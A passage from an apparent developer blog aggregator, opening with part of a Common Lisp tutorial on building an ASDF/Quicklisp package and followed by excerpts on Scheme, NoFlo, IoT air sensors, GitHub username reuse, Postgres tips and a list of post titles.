It is important for the ".asd" file to share the same name as the directory because ASDF will look for it in that location (by default).

Before we get too far into packaging, let's write a function we'd like to export from this library. Edit "cl-docker/docker.lisp" (this name does not matter) and add the following:

(defun ps ()
  (let ((output (uiop:run-program '("docker" "ps") :output :string)))
    (loop for line in (rest (cl-ppcre:split "(\\n+)" output))
      collect (cl-ppcre:split "(\\s\\s+)" line))))

This uses a portable library, "uiop", that ASDF exposes by default (we won't need to explicitly import this anywhere because the package is managed by ASDF). It will run the command "docker ps" in a subprocess and return the output as a string. Then we use the regex split function from the "cl-ppcre" library to split the output first into lines, take all but the first line, and split the lines up based one two or more whitespace characters.

Next let's define the package (think module in Python) by editing "cl-docker/package.lisp" (this name also does not matter):

(defpackage cl-docker
  (:use cl)
  (:import-from :cl-ppcre :split)
  (:export :ps))

Here we state the package's name, say that we want to import all Common Lisp base symbols into the package, say we want to import the "split" symbol from the "cl-ppcre" package, and say we only want to export our "ps" function.

At this point we must also declare within the "cl-docker/docker.lisp" file that it is a part of this package:

(in-package :cl-docker)

(defun ps ()
  (let ((output (uiop:run-program '("docker" "ps") :output :string)))
    (loop for line in (rest (cl-ppcre:split "(\\n+)" output))
      collect (cl-ppcre:split "(\\s\\s+)" line))))

Next let's define the system (ASDF-level, similar to a package in Python) in "cl-docker/cl-docker.asd":

(defsystem :cl-docker
    :depends-on (:cl-ppcre)
    :serial t
    :components ((:file "package")
                 (:file "docker")))

This defines all the pieces of the system for ASDF: the system name, the package definition and the component of the package ("cl-docker/docker.lisp"), and tells ASDF to make the "cl-ppcre" system on disk available to us. We also tell ASDF to process the components in the order we specified (otherwise it will pick an order that may not be what we want).

In preparation for times when we don't have the "cl-ppcre" system (or any other dependencies) on disk, we always load the system indirectly through Quicklisp (rather than directly via ASDF) so Quicklisp can fetch any missing dependencies from its repository of systems.

But before then -- unless you put this directory in "~/common-lisp" -- you'll need to register the directory containing the directory of your system definitions so ASDF (and Quicklisp) know where to look if you ask to load this system.

To do this, add a ".conf" file to "~/.config/common-lisp/source-registry.conf.d/" and add the following:

(:tree "~/path/to/dir/containing/system/dir")

So if you had a repo called "cl-docker" in your "~/projects" directory that contained the "cl-docker" directory we previously created (that, in turn, contains the "cl-docker.asd", "package.lisp", and "docker.lisp" files) then you might create "~/.config/common-lisp/source-registry.conf.d/1-cl-docker.conf" and add:

(:tree "~/projects/cl-docker")

Using the system

Now you can use the library from anywhere on your computer. Enter a Common Lisp REPL and tell Quicklisp to load the system (and download any non-local dependencies):

$ sbcl
...
* (ql:quickload "cl-docker")
To load "cl-docker":
  Load 1 ASDF system:
    cl-docker
; Loading "cl-docker"
..................................................
[package cl-docker]
("cl-docker")
* (cl-docker:ps)

And that's it!

For the complete source of this example package, check out this Gist.

In conclusion

Common Lisp is easy to work with, the packages are many and mature. Configuring an ASDF package is even simpler than configuring a Python "setup.py". I didn't demonstrate pinning versions of dependencies in ASDF, but of course you can do that too. If any of this -- as simple as it is -- seems tedious, you can also use Zach Beane's (creator of Quicklisp) quickproject tool to build out the structure for you.

Resources for Common Lisp

You must read Practical Common Lisp. It is freely available online. It is one of the best resources I keep referring to in dealing with simple issues (as a new Lisper, I stumble on a lot of simple issues).

Paul Graham's On Lisp is also a must-read when you want to get a better understanding of macros in Lisp. It will help you out with macros in Scheme too. This book is freely available online, but out of print physically. I sent Lulu the PDF and I received my physical copy for under $20 (including shipping).

I'm currently making my way through Common Lisp the Language, 2nd Edition which I believe is also freely available online. However I don't really recommend this unless you are interested in implementing Common Lisp or are dying to learn the standard library (not a bad idea).

Finally, Peter Norvig's Paradigms of Artificial Intelligence Programming just recently became freely available online. I haven't yet read it but I'm queuing it up. Don't let the title scare you, apparantly it is primarily considered a practical guide to Common Lisp around old-school/classical AI that isn't supposed to encumber.

It was pointed out on Twitter that Paul Graham's ANSI Common Lisp and the CLHS are probably better resources for the Common Lisp that exists today than Common Lisp the Language 2. CLtL2 is pre-standard.

Additionally, the Common Lisp Cookbook is a great resource for Common Lisp recipes. It's been around since 2004 (on Sourceforge) but has been pretty active recently and has been revived on Github pages.

On Scheme

I've done one or two unremarkable web prototypes in Chicken Scheme, an R5RS/R7RS Scheme implementation. I don't think Chicken Scheme is the best bet for the web (I'm mostly biased to this topic) because it has no native-thread support and there are lighter interpreters out there that are easier to embed (e.g. in nginx). Chicken Scheme's "niche" is being a generally high-quality implementation with a great collection of 3rd-party libraries, but it is also not the fastest Scheme you could choose.

I've worked on a larger web prototype -- a Github issue reporting app -- in Racket, a derivative of Scheme R6RS. And I've blogged favorably about Racket. It is a high-performance interpreter with a JIT compiler, has thread support, and is also well known for its collection of 3rd-party libaries. However the Racket ecosystem suffers from the same issues Haskell's does: libraries and bindings are primarily proof-of-concept only; missing documentation, tests and use. Trying to render "templatized" HTML (like Jinja allows for in Flask) without using S-exp-based syntax was a nightmare. (Read: there's space for someone to write a good string templating library.)

Sorry, Racket

Last point on Racket (because it really is worth looking into), debugging in that Github issue project was not fun. The backtraces were mostly useless. Naively I assume this may have to do with the way Racket optimizes and rewrites functions. I was often left with zero context to find and correct my errors. But it could very well be I was making poor use of Racket.

On the other hand

Common Lisp (its implementations and ecosystem) seems more robust and developed. SBCL, with it's great performance and native-thread support, is a promising candidate for backend web development.

I wrote a post on putting together a Common Lisp project. It's easy! I also included some of my favorite CL books and a digression on Scheme. https://t.co/2LEDoFnAjk #commonlisp #lisp #scheme
— Phil Eaton (@phil_eaton) March 7, 2018

A Walkthrough of that React Suspense Demo

swyx's site RSS Feed — Fri, 02 Mar 2018 07:47:27 GMT

Annotated commentary on the code behind the Movie search demo featuring React Suspense

Scaling Django Codebases at PyCon UK 2017

Dan Palmer — Fri, 02 Mar 2018 02:00:00 GMT

Four of us from the Thread engineering team went to PyCon UK again in September for the third year running, and I was lucky enough to have my talk selected. At Thread we use Django for the backend of the main site which has grown to over 350 “apps”, and various members of the team have used the framework since not long after the initial public release. I’ve learnt many tips, tricks, and best practices for keeping engineers productive on a codebase of this size from my colleagues over the years, and I shared the highlights with the Python community in September.

Licensechecker. A command line application which identifies what software license things are under

Ben E. C. Boyter — Thu, 01 Mar 2018 09:24:29 GMT

A simple blog post here to introduce a new command line tool licensechecker (lc), which is similar in purpose to the library Licensee http://ben.balter.com/licensee/ which attempts to identify what software license(s) code is released under. lc itself is dual licensed under the MIT and Unlicense.

Licensechecker (lc) was designed to be run either on your command line or using your CI tool of choice and produce either CSV, JSON, SPDX, Summary or CLI tabular or progress output with the option to write results to disk. It is reasonably fast and is cross platform with binaries for x64 versions of Linux, macOS and Windows. The build process also ensures that it builds on ARM and i386.

MicroFlo and IoT: measuring air quality

Henri Bergius — Mon, 26 Feb 2018 02:00:00 GMT

Fine particulate matter is a serious issue in many cities around the world. In Europe, it is estimated to cause 400.000 premature deaths per year. European Union has published standards on the matter, and warned several countries that haven’t been able to reach the safe limits.

Germany saw the highest number of deaths attributable to all air pollution sources, at 80,767. It was followed by the United Kingdom (64,351) and France (63,798). These are also the most populated countries in Europe. (source: DW)

The associated health issues don’t come cheap: 20 billion euros per year on health costs alone.

“To reduce this figure we need member states to comply with the emissions limits which they have agreed to,” Schinas said. “If this is not the case the Commission as guardian of the (founding EU) treaty will have to take appropriate action,” he added. (source: phys.org)

One part of solving this issue is better data. Government-run measurement stations are quite sparse, and — in some countries — their published results can be unreliable. To solve this, Open Knowledge Foundation Germany started the luftdaten.info project to crowdsource air pollution data around the world.

Last saturday we hosted a luftdaten.info workshop at c-base, and used the opportunity to build and deploy some particulate matter sensors. While luftdaten.info has a great build guide and we used their parts list, we decided to go with a custom firmware built with MicroFlo and integrated with the existing IoT network at c-base.

MicroFlo on ESP8266

MicroFlo is a flow-based programming runtime targeting microcontrollers. Just like NoFlo graphs run inside a browser or Node.js, the MicroFlo graphs run on an Arduino or other compatible device. The result of a MicroFlo build is a firmware that can be flashed on a microcontroller, and which can be live-programmed using tools like Flowhub.

ESP8266 is an Arduino-compatible microcontroller with integrated WiFi chip. This means any sensors or actuators on the device can easily connect to other systems, like we do with lots of different sensors already at c-base.

MicroFlo recently added a feature where Wifi-enabled MicroFlo devices can automatically connect with a MQTT message queue and expose their in/outports as queues there. This makes MicroFlo on an ESP8266 a fully-qualified MsgFlo participant.

Building the firmware

We wanted to build a firmware that would periodically read both the DHT22 temperature and humidity sensor, and the SDS011 fine particulate sensor, even out the readings with a running median, and then send the values out at a specified interval. MicroFlo’s core library already provided most of the building blocks, but we had to write custom components for dealing with the sensor hardware.

Thankfully Arduino libraries existed for both sensors, and this was just a matter of wrapping those to the MicroFlo component interface.

After the components were done, we could build the firmware as a Flowhub graph:

To verify the build we enabled Travis CI where we build the firmware both against the MicroFlo Arduino and Linux targets. The Arduino one is there to verify that the build works with all the required libraries, and the Linux build we can use for test automation with fbp-spec.

To flash the actual devices you need the Arduino IDE and Node.js. Then use MicroFlo to generate the .ino file, and flash that to the device with the IDE. WiFi and MQTT settings can be tweaked in the secrets.h and config.h files.

Sensor deployment

The recommended weatherproofing solution for these sensors is quite straightforward: place the hardware in a piece of drainage pipe with the ends turned downwards.

Since we had two sensors, we decided to install one in the patio, and the other in the c-base main hall:

Working with the sensor data

Once the sensor devices had been flashed, they became available in our MsgFlo setup and could be connected with other systems:

In our case, we wanted to do two things with the data:

Log it in the c-base telemetry system to be visualized with NASA OpenMCT
Submit the data from the outdoor sensor to the luftdaten.info database

The first one was just a matter of adding couple of configuration lines to our OpenMCT server. For the latter, I built a simple Python component.

Our sensors have been tracking for a couple of days now. The public data can be seen in the madavi service:

We’ve submitted our sensor for inclusion in the luftdaten.info database, and hopefully soon there will be another covered area in the Berlin air quality map:

If you’d like to build your own air quality sensor, the instructions on luftdaten.info are pretty comperehensive. Get the parts from your local electronics store or AliExpress, connect them together, flash the firmware, and be part of the public effort to track and improve air quality!

Our MicroFlo firmware is a great alternative if you want to do further analysis of the data yourself, or simply want to get the data on MQTT.

Suggestions added to Django manage.py

Tom Forbes — Sat, 24 Feb 2018 02:00:00 GMT

My recently merged PR for ticket #28398 adds very simple ‘did you mean’ suggestions to Django’s manage.py command, which is the primary way of interacting with Django from the terminal. So in Django 2.1 this is what you will expect to see if you misspell a management command:...

asComponent: turn any JavaScript function into a NoFlo component

Henri Bergius — Fri, 23 Feb 2018 02:00:00 GMT

Version 1.1 of NoFlo shipped this week with a new convenient way to write components. With the noflo.asComponent helper you can turn any JavaScript function into a well-behaved NoFlo component with minimal boilerplate.

Usage of noflo.asComponent is quite simple:

const noflo = require('noflo');
exports.getComponent = () => noflo.asComponent(Math.random);

In this case we have a function that doesn’t take arguments. We detect this, and produce a component with a single “bang” port for invoking the function:

You can also amend the component with helpful information like a textual description and and icon:

const noflo = require('noflo');
exports.getComponent = () => noflo.asComponent(Math.random, {
  description: 'Generate a random number',
  icon: 'random',
});

Multiple inputs

The example above was with a function that does not take any arguments. With functions that accept arguments, each of them becomes an input port.

const noflo = require('noflo');

function findItemsWithId(items, id) {
  return items.filter((item) => item.id === id);
}

exports.getComponent = () => noflo.asComponent(findItemsWithId);

The function will be called when both input ports have a packet available.

Output handling

The asComponent helper handles three types of functions:

Regular synchronous functions: return value gets sent to out. Thrown errors get sent to error
Functions returning a Promise: resolved promises get sent to out, rejected promises to error
Functions taking a Node.js style asynchronous callback: err argument to callback gets sent to error, result gets sent to out

With this, it is quite easy to write wrappers for asynchronous operations. For example, to call an external REST API with the Fetch API:

const noflo = require('noflo');

function getFlowhubStats() {
  return fetch('https://api.flowhub.io/stats')
    .then((result) => result.json());
}

exports.getComponent = () => noflo.asComponent(getFlowhubStats);

How that you have this component, it is quick to do a graph utilizing it (open in Flowhub):

Here we get the BODY element of the browser runtime. When that has been loaded, we trigger the fetch component above. If the request succeeds, we process it through a string template to write a quick report to the page. If it fails, we grab the error message and write that.

Making the components discoverable

The default location for a NoFlo component is components/ComponentName.js inside your project folder. Add your new components to this folder, and NoFlo will be able to run them.

If you’re using Flowhub, you can also write the components in the integrated code editor, and they will be sent to the runtime.

We’ve already updated the hosted NoFlo browser runtime to 1.1, so you can get started with this new component API right away.

Advanced components

In many ways, asComponent is the inverse of the asCallback embedding feature we introduced a year ago: asComponent turns a regular JavaScript function into a NoFlo component; asCallback turns a NoFlo component (or graph) into a regular JavaScript function.

If you need to work with more complex firing patterns, like combining streams or having control ports, you can of course still write regular Process API components.

The regular component API is quite a bit more verbose, but at the same time gives you full access to NoFlo APIs for dealing with manually controlled preconditions, state management, and creating generators.

However, thinking about the hundreds of NoFlo components out there, most of them could be written much more simply with asComponent. This will hopefully make the process of developing NoFlo programs a lot more straightforward.

Scraping my Twitter Social Graph with Python and Selenium

swyx's site RSS Feed — Mon, 19 Feb 2018 01:30:05 GMT

Using python and selenium to find better follows on Twitter

GitHub Shouldn't Allow Username Reuse

Donat Studios — Sat, 10 Feb 2018 05:19:29 GMT

Update 2018-04-19 - GitHub has implemented some rules around retiring "namespaces".

To prevent developers from pulling down potentially unsafe packages, we now retire the namespace of any open source project that had more than 100 clones in the week leading up to the owner’s account being renamed or deleted.

This is a decent half step but I'd still love to see either permalinks or every namespace of a user permanently retired once their account is deleted.

Update 2018-02-10 In discussing this with people online, I’ve come to the conclusion that the bigger, more important issue is lack of permalinks to repository instances. Path reuse, rather than username reuse.

There is a very popular tool for embedding data files into your Go binaries called go-bindata. Several days ago however the user who ran it, "Jim Teeuwen" (wayback machine), completely disappeared from the internet – deleting his GitHub account and personal domain in the process.

While this is within his rights to do, this broke a dependency many people had within their projects.

To fix this, some users of the project recreated the account and the repository based on a fork of the project.

They have an official announcement/disclosure here:

https://github.com/jteeuwen/go-bindata/issues/5

At the very least they are being honest about it.

The fact that they were allowed to do this however represents a fundamental flaw in GitHub's security model.

Usernames, once deleted, should never be allowed to be valid again. Many sites including Google do it this way.

Allowing username reuse completely breaks any trust that what I pull is what it claims to be.

What if this user had been malicious? It may have taken a while before someone actually noticed this wasn't the original user and the code was doing something more than it claimed to.

While Go's go get functionality is no doubt naive and just pulls the head of a repository, this is not exclusively Go's problem as this affects any package manager that runs on tags. Simply tag malicious changes beyond the current release and it would be deployed to many users likely with little actual review.

This should not be possible. This is scary and should be fixed.

Update

Many people are arguing that this is the developers fault or the package managers fault. I do not agree, but as far as I see it that doesn't matter anyway. The simple fact of the matter is that it is being used like that, like it or not, and the simplest and I argue most correct fix is for GitHub to prevent the issue.

I think another good option would be GitHub offering permalinks to repos, such that if they were deleted and recreated the pathing would change.

It affects not only package managers and programs and software, but humans. Humans navigating GitHub. I have no way to tell while navigating the site if a project is the original or a charade. That is a problem.

As for the title change, I agreed with Hacker News that the original was a bit hyperbolic. I have a tendency to resort to hyperbole to get my emotional point across - and it doesn't always read correctly on the internet.

A records on top level domains

Nemo's Home — Fri, 09 Feb 2018 02:00:00 GMT

Re-ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/

Scan run from AS9498.

Results:

TLD	IP
ai	209.59.119.34
android	127.0.53.53
arab	127.0.53.53
cal	127.0.53.53
chrome	127.0.53.53
cm	195.24.205.60
dclk	127.0.53.53
dk	193.163.102.58
drive	127.0.53.53
etisalat	127.0.53.53
gg	87.117.196.80
gle	127.0.53.53
guge	127.0.53.53
hangout	127.0.53.53
je	87.117.196.80
nexus	127.0.53.53
pa	168.77.8.43
play	127.0.53.53
pn	80.68.93.100
politie	127.0.53.53
sport	127.0.53.53
tk	217.119.57.22
uz	91.212.89.8
ws	64.70.19.33
谷歌	127.0.53.53
мон	218.100.84.27
мон	202.170.80.40
мон	180.149.98.78
اتصالات	127.0.53.53
政府	127.0.53.53
عرب	127.0.53.53
招聘	127.0.53.53
グーグル	127.0.53.53

Update: An automatically updated version of this is available at https://captnemo.in/tld-a-record/

What Happens When A User Edits A Post on Dev.to?

swyx's site RSS Feed — Sat, 03 Feb 2018 21:25:54 GMT

Postgres hidden gems

CRAIG KERSTIENS — Wed, 31 Jan 2018 22:55:56 GMT

Postgres has a rich set of features, even when working everyday with it you may not discover all it has to offer. In hopes of learning some new features that I didn’t know about myself as well as seeing what small gems people found joy in I tweeted out to see what people came back from. The response was impressive, and rather than have it lost into ether of twitter I’m capturing some of the responses here along with some resources many of the features.

@listrophy - $ brew postgresql-update database
- Though personally I prefer Postgres.app ;)
@pat_shaugnessy - ltree
- Pat has a great post that walks through ltree
@billyfung - citext
- A really handy datatype for case insensitive text
@eeeebbbbrrrr - date math with intervals
- I couldn’t agree more on this one, working with time in Postgres is the easiest time I’ve every had
@DataMiller - The jsonb datatype and lateral joins
- I’d argue it’s hard to claim now JSONB is a hidden gem, but lateral joins are certain a great one
@ideasasylum - row_number() over(partition http://orders.site_id order by orders.created_at)
- Window functions are definitely a handy feature was my hidden (to me) discovery this week
@franckverrot - Index access method, and custom FDWs
@jonjensen0 - Set-returning functions and custom aggregate functions can be very helpful.
@ascherbaum - psql -x
- Psql is indeed awesome and can be well tuned
@Abstr_ct - The fact that the docs are fantastic and all hidden gems are actually readily available. Oh, and pl/brainfuck obviously
@Halpin_IO - Subnetting and network operations
@jkatz05 - Replication slots, both physical and logical. They’ve made setting up replication infinitely easier. And range types. Because they’re awesome.
@petereisentraut - Unicode table borders
@_avichalp Notify/listen
@simonw - The fact that GIN indices can make LIKE queries run fast even if the % isn’t just at the end of the string
@javisantana - it has a statistics system to plan queries that can be used by the user when accuracy does not matter, for example, use “explain select * from table” to replace count() or use “_postgis_selectivity” to know how many points fall into a bbox.
@l_avrot - The fact that we can use vim editor in psql
@mashd - Logical decoding for change data capture.
@4thdoctor_scarf - the MVCC. If I had a penny per each time I’ve explained how really works, I’ll be a millionaire now :)
@docteur_klein - \timing in psql
@thibaut_barrere - From times to times I find foreign data wrapper with CSV files very helpful (& easy to setup with Ruby’s Sequel library) https://gist.github.com/thbar/0093ee54c5a61aa5a0c5a4737fc3bd45
@steve_touw - Foreign data wrappers
@roimartinez_gis - Clearly aggregate functions make live very simple :) .
@whalesalad - select where datetime > yesterday and other natural language time queries.
@pwramsey - At the hacker level: hooks. So many cool hooks, and finding them, a bit of an easter egg hunt.
@pwramsey - At the user level: the quality and breadth of tsearch still feels radically under appreciated; same for ranges.
@TomCiopp - PostGIS / PgRouting
@peterbe - psql -l
@jbrancha - In psql, setting ‘\x auto’ so that wide table results get displayed vertically!
@westermanndanie - \watch

Well that was quite the list. And I’m sure we’ve only scratched the surface. Have something not on the list that you feel like classifies as a hidden gem? Lets hear about it

Interview with the D Language Blog: BSDScheme

Notes on software development — Sat, 20 Jan 2018 02:00:00 GMT

This is an external post of mine. Click here if you are not redirected.

Theory of constraints

smcleod.net — Wed, 17 Jan 2018 02:00:00 GMT

“A chain is no stronger than its weakest link”

Any improvement made anywhere besides the bottleneck is an illusion.
Any improvement made after the bottleneck is useless because it will always remain starved waiting for work from the bottleneck.
Any improvement made before the bottleneck merely results in more ‘work’ piling up at the bottleneck.

Identify the system’s constraint(s) (that which prevents the organisation from obtaining more of the goal in a unit of time)
Decide how to exploit the system’s constraint(s) (how to get the most out of the constraint)
Subordinate everything else to the above decision (align the whole system or organization to support the decision made above)
Elevate the system’s constraint(s) (make other major changes needed to increase the constraint’s capacity)
Warning! If in the previous steps a constraint has been broken, go back to step 1, but do not allow inertia to cause a system’s constraint.

References

Hello, I am making a modern fullstack JS tutorial livestream. What questions do you have for me?

swyx's site RSS Feed — Tue, 16 Jan 2018 08:26:44 GMT

Goodby Simple, hello Gatsby

Tom Forbes — Tue, 16 Jan 2018 02:00:00 GMT

Many years ago, inspired by a blogging platform called Svbtle , I built a clone called Simple. It was pretty simple - just a minimal Flask app backed by a Sqlite database, but had some cool features. You could log in with Mozilla’s Persona (RIP), edit posts using an in-browser editor and drag ‘n’ dr...

First few hurdles writing a Scheme interpreter

Notes on software development — Wed, 10 Jan 2018 02:00:00 GMT

I started working on BSDScheme last October, inspired to get back into language implementation after my coworker built bshift, a compiler for a C-like language. BSDScheme is an interpreter for a (currently small subset of) Scheme written in D. It implements a few substantial primitive functions (in under 1000 LoC!). It uses the same test framework bshift uses, btest. I'm going to expand here on some notes I wrote in a post on Reddit on some issues I faced during these first few months developing BSDSCheme.

Before I get too far, here is a simple exponent function running in BSDScheme. It demonstates a few of the basic builtin primitives and also integers being upgraded to D's std.bigint when an integer operation produces an integer unable to fit in 64 bits. (See the times and plus guards for details; see the examples directory for other examples.)

$ cat examples/recursion.scm
(define (exp base pow)
  (if (= pow 0)
      1
      (* base (exp base (- pow 1)))))

(display (exp 2 64))
(newline)
$ ./bin/bsdscheme examples/exp.scm
18446744073709551616

The first big correction I made was to the way values are represented in memory. I originally implemented BSDScheme's value representation as a struct with a pointer to each possible value type. This design was simple to begin with but space-inefficient. I modelled a redesign after the Chicken Scheme data representation. It uses a struct with two fields, header and data. Both fields are word-size integers (currently hard-coded as 64 bits). The header stores type and length information and the data stores data.

In this representation, simple types (integers < 2^63, booleans, characters, etc.) take up only 128 bits. The integers, booleans, etc. are placed directly into the 64 bit data field. Other types (larger integers, strings, functions, etc) use the data field to store a pointer to memory allocated in the heap. Getting the conversion of these complex types right was the trickiest part of this data representation effort... lots of void-pointer conversions.

The next big fix I made was to simplify the way generic functions dealt with their arguments. Originally I passed each function its arguments un-evaluated and left it up to each function to evaluate its arguments before operating on them. While there was nothing intrinsically wrong with this method, it was overly complicated and bug-prone. I refactored the builtin functions into two groups: normal functions and special functions. Normal function arguments are evaluated before sending the arguments S-expression to the function. Special functions receive the arguments S-expression verbatim so they can decide what / when to evaluate.

The last issue I'll talk about in this post was dealing with the AST representation. When I started out, the easiest way to get things working was to have an AST representation completely separate from the representation of BSDScheme values. This won't get you far in Scheme. In order to (eventually) support macros (and in the meantime support eval), the AST representation would have to make use of the value representation. This was the most complicated and confusing issue so far in BSDScheme. With the switch to recursive data structures, it was hard to know if an error occurred because I parsed incorrectly, or recursed over what I parsed incorrectly, or even if I was printing out what I parsed incorrectly. After some embarrassing pain, I got all the pieces in place after a month and it set me up to easily support converting my original interpret function into a generic eval function that I could expose to the language like any other special function.

One frustrating side-effect of this AST conversion is that since the parsing stage builds out trees using the internal value representation, the parsing stage is tied to the interpreter. From what I can tell, this basically means I have to revert back to some intermediate AST representation or throw away the parser to support a compiler backend.

Next steps in BSDScheme include converting all the examples into tests, combining the needlessly split out lexing and parsing stage into a single read function that can be exposed into the language, fleshing out R7RS library support, and looking more into LLVM as a backend.

Wrote a full post on the first few hurdles faced writing a Scheme interpreter in D https://t.co/Cyjy7pk3OB #scheme #schemelang #lisp #dlang
— Phil Eaton (@phil_eaton) January 10, 2018

How To Google Your Errors

swyx's site RSS Feed — Thu, 04 Jan 2018 19:32:12 GMT

How and why we teach non-engineers to use GitHub at Thread

Dan Palmer — Thu, 04 Jan 2018 02:00:00 GMT

At Thread one of our core beliefs is that technology allows for great change. This is important to our product, but it’s also important to how we work internally. Because of this way of working, we try to represent everything in data—products, measurements, styles, suppliers, locations in our warehouse, support ticket resolutions, and many more things that you’d never even think about. All of these data models come with a cost of needing a way for those in the company who use them to maintain the data.

Hacker News Personal Blogs 2018 | Top 100 Blogs

Turning the Static Dynamic with Gatsby + Netlify Functions + Netlify Identity

Nethack Deaths

Running latest kernels on ARM Scaleway servers

New Zealand Otago Trip in a 2019 Mustang GT

Perfect Advent Calendars

Interesting queries on a football database

XCat 1.0 released or: XPath injection issues are severely underrated

Bitlbee to Pleroma

Invited to join the Django software foundation

Expert Excuses for Not Writing Unit Tests

How to get Google Home / Google Assistant to call your iOS iPhone

Networking Essentials: Network Security

Types of Development

Types of Development #1

Types of Development #2

Breaking the Ice for Underwater Hockey

Writing a lisp compiler from scratch in JavaScript: 1. lisp to assembly

Parsing

Assembly 101

Function calling convention

Code generation

The prefix

The postfix

Putting it all together

Generating an executable file from the output

Further reading

Networking Essentials: Traffic Engineering

Networking Essentials: Software Defined Networking

My New Mac Setup (2018-2020)

The biggest mistake Postgres ever made

Networking Essentials: Content Distribution

Networking Essentials: Rate Limiting and Traffic Shaping

Generating Harry Potter Spell Names and Kelewan House Names

GraphQL Interfaces vs Unions

On NYC, Tokyo and Seoul

Transportation

Taxis

Living

Air quality

WiFi/Cafes

Caveat

Food

Language

Assorted recommendations

Conclusion

Further reading

3 Tips from Kent C Dodds for People Just Getting Started

SIGSEGV1 qualification CTF

Networking Essentials: Congestion Control

Using bulk update in Django 2.2

how to load initial data and test data in Django 2+

Fix Missing Headers Compiling on macOS Mojave

Blogtober 2018, the second

Blogtober 2018, the first

Trifecta of Obers

Solving My Email Problem - Followup

“I have an email workflow that is different from yours”

Solving My Email Problem

Networking Essentials: DNS

Networking Essentials: Router Design

Why (and how) to read books

Kernel Recipes 2018 liveblog

Warehouse locations with k-means

Networking Essentials: Naming, Addressing, and Forwarding

Postgres 11 - A First Look

Quitting Postgres

Fear column addition no more

Of course performance is a highlight

Parallelism continuing to mature

Postgres gets a JIT

Statistics keep getting better

Keeping standbys warm

And more

Sloc Cloc and Code Revisited - Optimizing an already fast Go application

Growth Accounting and Backtraced Growth Accounting

Networking Essentials: Routing

Aadhaar Vulnerability Public Disclosure

The Vulnerability

The PoC